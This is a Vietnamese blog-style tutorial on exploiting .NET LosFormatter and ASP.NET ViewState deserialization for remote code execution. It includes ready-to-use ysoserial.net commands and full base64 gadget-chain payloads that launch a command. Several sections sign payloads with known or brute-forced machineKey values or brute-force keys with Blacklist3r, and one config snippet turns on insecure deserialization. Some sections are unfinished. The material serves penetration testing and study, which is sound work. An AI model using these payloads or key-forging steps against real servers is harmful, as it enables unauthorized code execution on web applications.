LosFormatter - ViewState deserialize
Bài này sẽ là một số note của mình về LosFormatter và exploit ViewState deserialize
Demo LosFormatter
Theo như docs Microsoft thì LosFormatter sinh ra để serialize ViewState dùng trong các trang Web Forms. Và theo như docs nói thì LosFormatter cũng không an toàn nếu sử dụng không đúng cách. Vậy thì cụ thể nó không an toàn như thế nào thì ta sẽ tìm hiểu ở phần sau.
Đầu tiên ta có code minh họa sử dụng LosFormatter như sau
using System;
using System.IO;
using System.Text;
namespace LosFormatter
{
internal class Program
{
[Serializable]
class Person
{
private string name;
public string Name
{
get { return name; }
set { name = value; }
}
private int age;
public int Age
{
get { return age; }
set { age = value; }
}
public Person(string name, int age)
{
Name = name;
Age = age;
}
public void SayHello()
{
Console.WriteLine("hello");
}
}
public static void Main(string[] args)
{
System.Web.UI.LosFormatter losFormatter = new System.Web.UI.LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
losFormatter.Serialize(memory, new Person("endy", 20));
memory.Position = 0;
Person p = (Person)losFormatter.Deserialize(memory);
p.SayHello();
Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}
Console.ReadKey();
}
}
}
Kết quả

Ta sẽ thấy kết quả khi dùng LosFormatter để seri là một chuỗi base64 bắt đầu bằng /wEyt.
Thực chất quá trình seri và deser của LosFormatter là gọi đến hàm seri và deser của ObjectStateFormatter
Ví dụ khi gọi LosFormatter deser

Giá trị của this._formatter

Tại ObjectStateFormatter
sẽ base64 decode giá trị nhận vào rồi tiến hành quá trình deser thật sự

Demo exploit với chain TextFormattingRunProperties
D:\App\ysoserial.net-portale\Release>ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c calc
/wEykQcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACzBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L

ViewState
Demo ViewState
Theo mình hiểu ViewState tương tự như cơ chế cache của web thông thường nhưng được dùng trong các ứng dụng Web Forms giúp lưu trạng thái người dùng. Giá trị của ViewState sẽ nằm trong các filed ẩn của form và được serialize bởi LosFormatter. Để tiện demo thì ta sẽ tạo một trang dùng web forms như sau:
Chọn new project trong Visual Studio với options là ASP.NET Web Application

Nếu không có options này thì mở Visual Studio Installer rồi chọn Modify -> Individual components
và tick vào .Net Framework project and item templates
để tải về

Sau khi đặt tên project xong thì ta chọn Web Forms

Sau đó mình tạo một file Form.aspx
để demo như sau
<%@ Language="C#" AutoEventWireup="true" CodeBehind="Form.aspx.cs" Inherits="ViewStateDemo.WebForm1"%>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
</div>
</form>
</body>
</html>
Run Web và truy cập /Form ta sẽ thấy giá trị Viewstate

Ta có thể decode để xem value của viewstate bằng extension ViewStateDecoder

Đi sơ qua quá trình handle __VIEWSTATE
tại package System.Web.dll. Ta sẽ thấy, giá trị __VIEWSTATE
được lấy ra từ method Page.RequestViewStateString

Trace ngược về ta biết được tại method Load
của HiddenFieldPageStatePersister
sẽ gọi đến Page.RequestViewState
và giá trị ViewState được deser bằng Util.DeserializeWithAssert

Hàm Util.DeserializeWithAssert
sẽ deser string với formatter truyền vào

Trace một hồi thì ta biết được formatter được sử dụng là ObjectStateFormatter
. Do đó nếu attacker kiểm soát được giá trị ViewState (điều này là hiển nhiên) có thể trigger RCE với các chain dùng được của ObjectStateFormatter
Vì thế Microsoft cũng cung cấp một số tính năng để secure ViewState như:
ViewStateEncryptionMode: cho phép Viewstate hiển thị ở client dạng được encrypt -> việc này chỉ để phòng chống việc lộ lọt thông tin trong viewstate còn khi exploit thì ta có thể đấm như bình thường
EnableViewStateMac: Dùng MacKey trong quá trình deser viewstate để xác thực -> tránh việc attacker dễ dàng lợi dụng viewstate. Từ bản .NET framework 4.5.2 trở đi thì EnableViewStateMac được enable mặc định luôn, còn các phiên bản thấp hơn thì mặc định không có hành vi này mà ta phải tự config. Extension ViewStateDecoder mình đề cập ở trên cũng cho ta biết viewstate có đang được bảo vệ bởi MAC key hay không, nếu có thì ViewStateDecoder return enable còn nếu không thì return unknow
Do đó ta sẽ có bảng sau ứng với từng case khi exploit Viewstate
1.
Any
false
false/true
No
2.
<4.5
false (default)
false/true
No
3.
<4.5
true
false/true
MAC Key
4.
>4.5
true (default)
false/true
MAC Key
Case 1 và 2: .NET any version and MAC disable
Vì 2 trường hợp exploit này đều dựa trên việc MAC encrypt disable nên mình gộp chung luôn.
Như đã đề cập thì từ sau bản .NET 4.5 EnableViewStateMac mặc định là bật. Nhìn lại vào hàm deser tại ObjectStateFormatter ta sẽ thấy trước khi deser sẽ có đoạn check EnableViewStateMac

EnableViewStateMac
sẽ gọi đến EnableViewStateMacRegistryHelper

EnableViewStateMacRegistryHelper
gọi đến method IsMacEnforcementEnabledViaRegistry
để check

Đúng như tên gọi thì IsMacEnforcementEnabledViaRegistry
check reg xem Mac có Enable hay không

Mặc định thì reg này cũng có value là true

Khi này ta có thể setup MAC Key trong phần web.conf, nếu không setup thì mặc định sẽ gen ngẫu nhiên với alg là HMACSHA256

Khi setup Mac key trong web.conf thì ta setup như sau
<system.web>
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"/>
</system.web>
Lúc này thì ta sẽ có được giá trị validationKey và decryptionKey như setup

Ta có thể config on/off EnableViewStateMac ngay trong file aspx bằng options EnableViewStateMac="false"
hoặc EnableViewStateMac="true"
. Tuy nhiên với các bản .NET ≥ 4.5 cho dù ta có set EnableViewStateMac="false"
thì config cũng sẽ ăn theo reg do đó ta cần phải config thêm trong file web.conf giá trị như sau để allow insecure deser
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true"/>
</appSettings>
Ta dùng ysoserial để gen payload
D:\App\ysoserial.net-portale\Release>ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "calc"
/wEylQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAAyAkvd0V5a1FjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBQ3pCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdZMkZzWXlJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL

Case 3: .NET version <4.5 and MAC enable
Đối với case 3 ta sẽ có 2 trường hợp nhỏ hơn là khi Encryption true và Encryption false.
Nói sơ qua một chút các on/off Encryption. Ta có thể on/off thông qua options ViewStateEncryptionMode
. Các giá trị của ViewStateEncryptionMode

Giá trị của ViewState khi Encryption enable

A. Encryption false
Để dễ demo thì mình sẽ thêm mac key vào web.conf như sau:
<system.web>
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"/>
</system.web>
Khi này nếu muốn exploit ta cần phải biết giá trị của validationKey. Quay trở lại một chút đoạn deser của ObjectFormatter
. Ta sẽ thấy trong trường hợp EnableViewStateMac
là true (1) ta sẽ nhảy vào hàm MachineKeySection.GetDecodedData
(2) trước khi deser giá trị (3)

Hàm GetDecodedData có nhiệm vụ check xem data đưa vào có legit hay không dựa vào MacKey

Để phân tích cụ thể cách nó check legit thì khá out context với lại mình quá lười nên chỉ note đến đây thôi 🧀
Nói tóm lại là khi EnableViewStateMac
là true ta cần biết được validationKey để exploit. Việc có được validationKey có thể là thông qua việc ta exploit read file -> read web.conf -> có được validate key.
Lúc này ta gen payload với ysoserial như sau
ysoserial.exe -p viewstate -g TextFormattingRunProperties -c "calc" --validationkey=70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0 --validationalg=SHA1 --generator=DB68D79A
Với giá trị generator
là __VIEWSTATEGENERATOR
của mỗi form. Ta chỉ cần Ctrl+U
lên là thấy
Kết quả:

Đối với trường hợp không exploit được gì để có được MAC Key ta cũng có thể brute force với Blacklist3r
Ta chỉ cần cung cấp giá trị __VIEWSTATE
với option -c
và __VIEWSTATEGENERATOR
với option -m
như sau
AspDotNetWrapper.exe -r MachineKeys.txt -c /wEPDwULLTE2MTY2ODcyMjlkZJ72r+Gzx1mnIhOnsSTC8Sha0Toi -p viewstate -m DB68D79A -s
Kết quả

Khi có key rồi thì ta gen payload như trên
B. Encryption true
Đối với trường hợp này dù Encryption là true mà ta có được MAC key thì vẫn gen payload và exploit như thường.
....<TODO>....
Case 4: .NET version >4.5 and MAC enable
Hiện tại mình khá bận không có nhiều thời gian test phần này nên chỉ note cách gen payload. Đối với .NET version >4.5 thì ngoài MAC key ta cần biết thêm application path để exploit
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
Với --path
là full path đến endpoint exploit còn --apppath
là IIS dirpath tức là application name.
Ta cũng có thể dùng Blacklist3r để brute key
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
Thamn khảo thêm: https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
Bonus
Bonus một trường hợp là khi viewstate bị disable với options EnableViewState="false"
. Dấu hiệu của trường hợp này là khi ta F5 nhiều lần nhưng giá trị ViewState không thay đổi. Mặc dù mang tiếng là đã off nhưng param __VIEWSTATE
vẫn được handle và deser do đó ta vẫn có thể exploit như bình thường.
Refer
Last updated